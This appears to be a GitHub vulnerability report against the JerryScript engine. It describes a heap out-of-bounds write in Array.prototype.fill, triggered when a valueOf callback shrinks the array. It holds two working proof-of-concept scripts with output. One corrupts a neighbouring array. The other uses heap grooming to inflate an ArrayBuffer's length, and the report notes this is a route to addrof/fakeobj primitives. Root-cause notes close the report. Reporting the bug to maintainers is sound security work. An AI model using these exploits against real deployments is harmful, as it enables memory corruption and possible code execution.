Skip to content

Heap OOB Write in Array.prototype.fill via start.valueOf() array shrink #5283

@hkbinbin

Description

@hkbinbin

The fast-path in Array.prototype.fill does not re-validate array bounds after start.valueOf() may have shrunk the array. When start.valueOf() reduces the array length, final remains the stale (pre-shrink) length, and the write loop stores attacker-controlled ecma_value_t values far past the reallocated buffer into freed heap memory.

JerryScript revision

b706935

Build platform

macOS 26.2 (Darwin 25.2.0 arm64)

Build steps
python3 tools/build.py --clean
Test case 1 — cross-object array corruption
var victim = new Array(100);
for (var i = 0; i < 100; i++) victim[i] = 0;

var MARKER = 0x41414141;
var adjacent;

victim.fill(MARKER, {
  valueOf: function() {
    victim.length = 4;  // shrink: buffer 104→8 aligned slots (416→32 bytes)
    adjacent = new Array(90);
    for (var i = 0; i < 90; i++) adjacent[i] = 0xBBBB0000 + i;
    return 0;
  }
});

var corrupted = 0;
for (var i = 0; i < 90; i++) {
  if (adjacent[i] !== (0xBBBB0000 + i)) corrupted++;
}
print("Adjacent array corruption: " + corrupted + " / 90 elements overwritten");
for (var i = 0; i < 5; i++) {
  print("  adjacent[" + i + "] = 0x" + (adjacent[i] >>> 0).toString(16));
}
Output 1
Adjacent array corruption: 90 / 90 elements overwritten
  adjacent[0] = 0x41414141
  adjacent[1] = 0x41414141
  adjacent[2] = 0x41414141
  adjacent[3] = 0x41414141
  adjacent[4] = 0x41414141

A second array allocated in the freed tail has all 90 elements overwritten with the attacker-controlled value 0x41414141. The fill writes 92 OOB ecma_value_t values (368 bytes) past the buffer end.

Test case 2 — ArrayBuffer byteLength corruption (32 → 1 MB)

By choosing precise start/end values, the OOB write can surgically overwrite a single field — the byteLength of an adjacent inline ArrayBuffer — inflating it from 32 bytes to ~1 MB.

// Heap stabilization — reduce free-list fragmentation
var stabilizers = [];
for (var i = 0; i < 64; i++) {
  stabilizers.push(new Array(8));
  for (var j = 0; j < 8; j++) stabilizers[i][j] = j;
}
for (var i = 0; i < 32; i++) new ArrayBuffer(16);

var victim = new Array(100);
for (var i = 0; i < 100; i++) victim[i] = 0;

var ab;

// fill(65536, evil_start, 12):
//   evil_start.valueOf() shrinks victim to 4 and allocates AB in freed tail
//   AB.byteLength sits at buffer_p[11]
//   fill writes ONE ecma_value_t = (65536<<4)|0 = 0x100000 to buffer_p[11]
//   → AB.byteLength becomes 0x100000 = 1,048,576
victim.fill(65536, {
  valueOf: function() {
    victim.length = 4;
    ab = new ArrayBuffer(32);
    return 11;
  }
}, 12);

print("AB.byteLength = " + ab.byteLength + " (expected: 32)");

var view = new DataView(ab);
// Read past the original 32 bytes — OOB heap access
for (var i = 0; i < 4; i++) {
  var off = 32 + i * 4;
  print("  OOB read at +" + off + ": 0x" + (view.getUint32(off, true) >>> 0).toString(16));
}
Output 2
AB.byteLength = 1048576 (expected: 32)
  OOB read at +32: 0x3510018
  OOB read at +36: 0x250000
  OOB read at +40: 0x4010140
  OOB read at +44: 0x1

The ArrayBuffer.byteLength is inflated from 32 to 1,048,576 bytes. A DataView on this AB now provides ~1 MB of OOB read/write access to the JerryScript heap. This is sufficient to implement addrof (read raw tagged object pointers) and fakeobj (write crafted tagged pointers to make the engine treat arbitrary memory as JS objects).

Expected behavior

fill should re-validate final against the actual array length after start.valueOf() returns, since the callback may have resized the array. Elements at indices beyond the post-callback buffer should not be written.

Root cause analysis

In ecma-builtin-array-prototype.c:

  1. Line 2156: ecma_builtin_helper_array_index_normalize(start_val, len, &k) calls start.valueOf() — user code shrinks the array. Buffer reallocates from 416 to 32 bytes; the 384-byte tail is freed.
  2. Line 2162–2164: end_val is UNDEFINED → final = len uses the stale pre-shrink length (100).
  3. Line 2175: ecma_op_object_is_fast_array(obj_p) — still true after shrink (shrinking preserves fast-array mode).
  4. Line 2179: length_prop_and_hole_count < ECMA_FAST_ARRAY_HOLE_ONE — passes (shrunk array has no holes).
  5. Line 2187: buffer_p = ECMA_GET_NON_NULL_POINTER(ecma_value_t, obj_p->u1.property_list_cp) — gets the (now smaller) buffer pointer.
  6. Lines 2189–2194: Write loop while (k < final) iterates k=0..99, writing buffer_p[k] for all 100 indices. Only indices 0–7 are within the 32-byte buffer; indices 8–99 write 368 bytes into freed heap memory.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions